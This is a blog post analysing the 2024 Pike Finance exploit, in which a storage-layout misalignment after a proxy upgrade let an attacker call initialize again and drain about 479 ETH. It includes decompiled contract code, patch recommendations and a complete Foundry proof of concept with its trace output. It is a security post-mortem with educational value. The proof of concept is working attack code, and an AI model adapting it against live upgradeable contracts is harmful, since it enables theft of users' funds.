bshyuunn
← Blog

· Exploit Analysis

EN

Pike Finance Exploit Analysis

#exploit-analysis#evm#proxy#storage-layout

On April 30, 2024, Pike Finance was exploited through an uninitialized proxy, resulting in a loss of over $1.4 million. Let’s analyze the root cause of this vulnerability.

The transaction used for the exploit is 0xe2912b8bf34d561983f2ae95f34e33ecc7792a2905a3e317fcc98052bce66431.

1. Pike Finance Service Overview

Pike Finance is a decentralized finance (DeFi) platform that aims to provide liquidity across multiple blockchains. Users can deposit collateral on one chain and borrow on another, leveraging cross-chain messaging and transfer protocols such as Wormhole and Circle’s Cross-Chain Transfer Protocol.

The contract targeted in this attack is a DeFi-related Spoke contract that makes up the Pike Beta protocol.


2. Exploit Analysis

2.1 Gathering Basic Information via Block Explorer and Transaction Viewer

The TxHash of the Pike Finance exploit is as follows. The attack occurred on April 30, 2024 at 10:19:11 PM UTC. 0xe2912b8bf34d561983f2ae95f34e33ecc7792a2905a3e317fcc98052bce66431

Most chains have a block explorer. For Ethereum, there’s Etherscan, which lets us gather basic information about this transaction. [Etherscan link]

- From: 0x19066f7431df29A0910d287C8822936Bb7D89E23 (Attacker)
- To: 0x1da4bc596bfb1087f2f7999b0340fcba03c47fbd (Attack Contract)
    - Transfer: 479.393838338750964434 ETH
    - Transfer from: 0xfc7599cffea9de127a9f9c748ccb451a34d2f063 (Vulnerable Contract)
    - To: 0x19066f7431df29A0910d287C8822936Bb7D89E23 (Attacker)
- Input Data: call to function 0xf2afdff3

We can also use Phalcon, a powerful transaction viewer, to easily gather detailed information about the transaction. [Phalcon link]

First, we can see the State Changes at a glance. image

In the exploit transaction, a state change occurred on the targeted contract 0xfc7599cffea9de127a9f9c748ccb451a34d2f063, and we can see that its EIP-1967 logic contract address was changed to the attack contract 0x1da4bc596bfb1087f2f7999b0340fcba03c47fbd. (Phalcon automatically infers which EIP a contract follows by looking at which slot stores which kind of data.)

From this, we can infer that all funds were drained by overwriting the logic contract address. We can also see that 0xb30c120Eb92c120bF11B358b4B9961E6679b6ae7 was the original logic contract.

The Invocation Flow lets us visualize the transaction’s call flow. image

As expected, the Invocation Flow shows that the initialize function was called to set a new logic contract, and the upgradeToAndCall function was then used to upgrade to that new logic contract while simultaneously sending all funds to the attacker’s address.

Description Address
Attack Tx 0xe2912b8bf34d561983f2ae95f34e33ecc7792a2905a3e317fcc98052bce66431
Attacker 0x19066f7431df29A0910d287C8822936Bb7D89E23
Attack Contract 0x1da4bc596bfb1087f2f7999b0340fcba03c47fbd
Vulnerable Contract 0xfc7599cffea9de127a9f9c748ccb451a34d2f063
Logic Contract 0xb30c120Eb92c120bF11B358b4B9961E6679b6ae7

2.2 Root Cause Analysis

Neither the Vulnerable Contract nor the Logic Contract has verified source code on Etherscan, so we need to interpret the bytecode instead.

A decompiler is the tool for this job. We can easily decompile both contracts using the Dedaub decompiler.

Here’s the decompiled result of the Vulnerable Contract. This contract is a classic proxy contract that forwards every transaction via delegatecall. All the functions the attacker called live in the Logic Contract.

// Decompiled by library.dedaub.com
// 2024.05.28 15:11 UTC
// Compiled using the solidity compiler version 0.8.20

// Data structures and variables inferred from the use of storage instructions
address ___function_selector__; // STORAGE[0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc] bytes 0 to 19

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function function_selector() public payable { 
    MEM[64] = 128;
    if (!msg.data.length) {
    }
    CALLDATACOPY(0, 0, msg.data.length);
    v0 = ___function_selector__.delegatecall(MEM[0:msg.data.length], MEM[0:0]).gas(msg.gas);
    require(v0, 0, RETURNDATASIZE()); // checks call status, propagates error data on error
    return MEM[0:RETURNDATASIZE()];
}

Next is the decompiled form of initialize, the first function the attacker called on the Logic Contract. initialize is responsible for initializing the contract for the first time. Through this function, the attacker was able to set the _isActive value to point at a malicious contract they had created.

function initialize(address _console, address _rng, address _vault, address _gameProvider, uint16 _minPos, uint16 _maxPos) public nonPayable { 
    require(msg.data.length - 4 >= 192);
    v0 = v1 = !_initialize;
    if (!_initialize) {
        v0 = v2 = stor_b_1_1 < 1;
    }
    if (!v0) {
        v0 = v3 = !this.code.size;
        if (!bool(this.code.size)) {
            v0 = 1 == stor_b_1_1;
        }
    }
    require(v0, Error('Initializable: contract is already initialized'));
    stor_b_1_1 = 1;
    if (!_initialize) {
        _initialize = 1;
    }
    _gateway = _console;
    owner_2_0_19 = _rng;
    _endpoint = _vault;
    stor_4_0_19 = _gameProvider;
    _isActive = 0x1 | (bytes31(msg.sender << 40) | 0xffffffffffffff0000000000000000000000000000000000000000ffffffff00 & (_maxPos << 24 | (0xffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffff & _minPos << 8 | _isActive & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000ff)));
    _nativeAsset = 0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee;
    if (!_initialize) {
        _initialize = 0;
        emit Initialized(1);
    }
}

After that, the attacker used the upgradeToAndCall function to maliciously upgrade the logic contract using the forged _isActive value and carry out the malicious behavior.

function upgradeToAndCall(address newImplementation, bytes data) public payable { 
    require(msg.data.length - 4 >= 64);
    require(data <= uint64.max);
    require(4 + data + 31 < msg.data.length);
    require(data.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
    v0 = new bytes[](data.length);
    require(!((v0 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & 32 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & data.length + 31) + 31) < v0) | (v0 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & 32 + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & data.length + 31) + 31) > uint64.max)), Panic(65)); // failed memory allocation (too much memory)
    require(4 + data + data.length + 32 <= msg.data.length);
    CALLDATACOPY(v0.data, data.data, data.length);
    v0[data.length] = 0;
    require(this - address(0xb30c120eb92c120bf11b358b4b9961e6679b6ae7), Error('Function must be called through delegatecall'));
    require(_upgradeTo == address(0xb30c120eb92c120bf11b358b4b9961e6679b6ae7), Error('Function must be called through active proxy'));
    require(msg.sender == address(_isActive >> 40), CallerNotAuthorized());
    0x1692(1, v0, newImplementation);
}

But under normal circumstances, initialize shouldn’t be callable more than once.

Looking at the transaction that first created the Vulnerable Contract, the contract calls initialize at creation time to properly initialize itself. So, in principle, the attacker shouldn’t be able to call initialize again.

image

So why did this vulnerability happen?

2.3 Why Did This Happen?

The reason initialize could be called a second time is a storage misalignment issue introduced while upgrading the contract.

A few days before this attack, Pike Finance had already been attacked once, and in order to investigate, they wanted to pause the contract. However, since the Vulnerable Contract didn’t implement a pause feature, they upgraded the Logic Contract instead. Etherscan’s Events tab shows how the Logic Contract was upgraded.

image

Logic Contract Address
Original Contract 0x634683d7079af2ebec84637bbc29dbd6fe817564
Contract with Pause Feature Added 0xd167a1893e8f108572826dabae19663a9131b0c2
Contract Active During the Attack 0xb30c120eb92c120bf11b358b4b9961e6679b6ae7

Let’s decompile each contract and see what changed. First, here are the data structures of the original contract.

image

Next are the data structures of the contract with the pause feature added. On line 11, we can see a new variable supporting the pause feature was added.

image

But here, the new _paused variable ended up occupying STORAGE[0xb] bytes 0 to 0, which pushed _initialize — the variable that tracks initialization state — from STORAGE[0xb] bytes 1 to 1 to STORAGE[0xb] bytes 2 to 2. As a result, the _initialize variable that defines the contract’s initialization state ends up holding a value of 0.

The same problem persists in the Logic Contract that was actually attacked. image

Consequently, the contract was mistakenly recognized as uninitialized, allowing the attacker to call initialize once more. In short, this vulnerability happened because the storage layout change was overlooked while adding a new library to support the pause feature.


3. Patch Recommendations

Several approaches can be used to prevent storage layout issues such as storage misalignment. First, the declaration order of state variables must be strictly followed. Every inheriting contract must keep the declaration order explicit, and new variables should always be appended after the parent contract’s variables, in sequence, to prevent state variable slots from being assigned incorrectly.

A permanent storage pattern can also be used so that the Logic Contract can be upgraded without worrying about state variables being overwritten. In this pattern, state variables are stored in a separate storage contract, and the Logic Contract reads and writes data by referencing that storage contract. This way, state variables remain unchanged even when the Logic Contract is upgraded, preserving data consistency.

Namespaced storage layout is another option. In this approach, each contract stores its state variables under its own unique namespace, preventing collisions between variables and letting each contract’s state be managed independently.


4. Reproducing the Vulnerability with a PoC

We can write a PoC using Foundry.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";

interface IPikeFinance {
    function initialize(address,address,address,address,uint16,uint16) external;
    function upgradeToAndCall(address,bytes memory) external;
}

contract AttackContract {
    address target;
    address owner;

    constructor(address _owner, address _target) {
        owner = _owner;
        target = _target;
    }

    function attack() public {
        // Re-initialize the contract
        IPikeFinance(target).initialize(address(this), address(this), address(this), address(this), 20, 20);

        // Upgrade the logic contract and call withdraw
        bytes memory data = abi.encodeWithSignature("withdraw(address)", address(owner));
        IPikeFinance(target).upgradeToAndCall(address(this), data);
    }
    
    // Sends all funds to the attacker
    function withdraw(address addr) external {
        (bool success, ) = payable(addr).call{value: address(this).balance}("");
        require(success, "transfer failed");
    }

    // Marks this as an upgradeable proxy-compatible contract (returns proxiableUUID)
    function proxiableUUID() external pure returns(bytes32){
        return 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    }

    receive() external payable {}
}

contract Exploit is Test {
    uint256 blocknum = 19771058; // one block before the attack tx's block number
    address constant PikeFinanceProxy = 0xFC7599cfFea9De127a9f9C748CCb451a34d2F063;

    address hacker;
    AttackContract attackcontractInstance;

    function setUp() public {
        vm.createSelectFork("https://rpc.ankr.com/eth", blocknum);
        
        // create the hacker account
        hacker = payable(vm.addr(0x1));
        vm.label(hacker, "hacker");
        vm.label(0xFC7599cfFea9De127a9f9C748CCb451a34d2F063, "PikeFinanceProxy");
        vm.deal(hacker, 0);
    }

    function testExploit() public {
        vm.startPrank(hacker);
        console.log("Before Hacker balance: ", hacker.balance);

        // perform the attack
        attackcontractInstance = new AttackContract(hacker, PikeFinanceProxy);
        attackcontractInstance.attack();

        console.log("After Hacker balance: ", hacker.balance);
        vm.stopPrank();
    }
}

Result:

➜  PikeFinance_2024-04 git:(master) ✗ forge test --mc Exploit -vvvv
[⠊] Compiling...
[⠘] Compiling 1 files with Solc 0.8.15
[⠃] Solc 0.8.15 finished in 1.72s
Compiler run successful!

Ran 1 test for test/PikeFinance.t.sol:Exploit
[PASS] testExploit() (gas: 343691)
Logs:
  Before Hacker balance:  0
  After Hacker balance:  479393838338750964434

Traces:
  [343691] Exploit::testExploit()
    ├─ [0] VM::startPrank(hacker: [0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf])
    │   └─ ← [Return] 
    ├─ [0] console::log("Before Hacker balance: ", 0) [staticcall]
    │   └─ ← [Stop] 
    ├─ [214630] → new AttackContract@0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4
    │   └─ ← [Return] 849 bytes of code
    ├─ [61611] AttackContract::attack()
    │   ├─ [40247] PikeFinanceProxy::initialize(AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], 20, 20)
    │   │   ├─ [35325] 0xb30c120Eb92c120bF11B358b4B9961E6679b6ae7::initialize(AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], 20, 20) [delegatecall]
    │   │   │   ├─ emit Initialized(: 1)
    │   │   │   └─ ← [Stop] 
    │   │   └─ ← [Return] 
    │   ├─ [17020] PikeFinanceProxy::upgradeToAndCall(AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], 0x51cff8d90000000000000000000000007e5f4552091a69125d5dfcb7b8c2659029395bdf)
    │   │   ├─ [16604] 0xb30c120Eb92c120bF11B358b4B9961E6679b6ae7::upgradeToAndCall(AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4], 0x51cff8d90000000000000000000000007e5f4552091a69125d5dfcb7b8c2659029395bdf) [delegatecall]
    │   │   │   ├─ [168] AttackContract::proxiableUUID() [staticcall]
    │   │   │   │   └─ ← [Return] 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
    │   │   │   ├─ emit Upgraded(param0: AttackContract: [0xa5E4A93e61fF98e988ad9dae6169fc6944CC70E4])
    │   │   │   ├─ [7185] AttackContract::withdraw(hacker: [0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf]) [delegatecall]
    │   │   │   │   ├─ [0] hacker::fallback{value: 479393838338750964434}()
    │   │   │   │   │   └─ ← [Stop] 
    │   │   │   │   └─ ← [Stop] 
    │   │   │   └─ ← [Stop] 
    │   │   └─ ← [Return] 
    │   └─ ← [Stop] 
    ├─ [0] console::log("After Hacker balance: ", 479393838338750964434 [4.793e20]) [staticcall]
    │   └─ ← [Stop] 
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    └─ ← [Stop] 

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 424.12ms (1.11ms CPU time)

Ran 1 test suite in 969.87ms (424.12ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)


5. Reference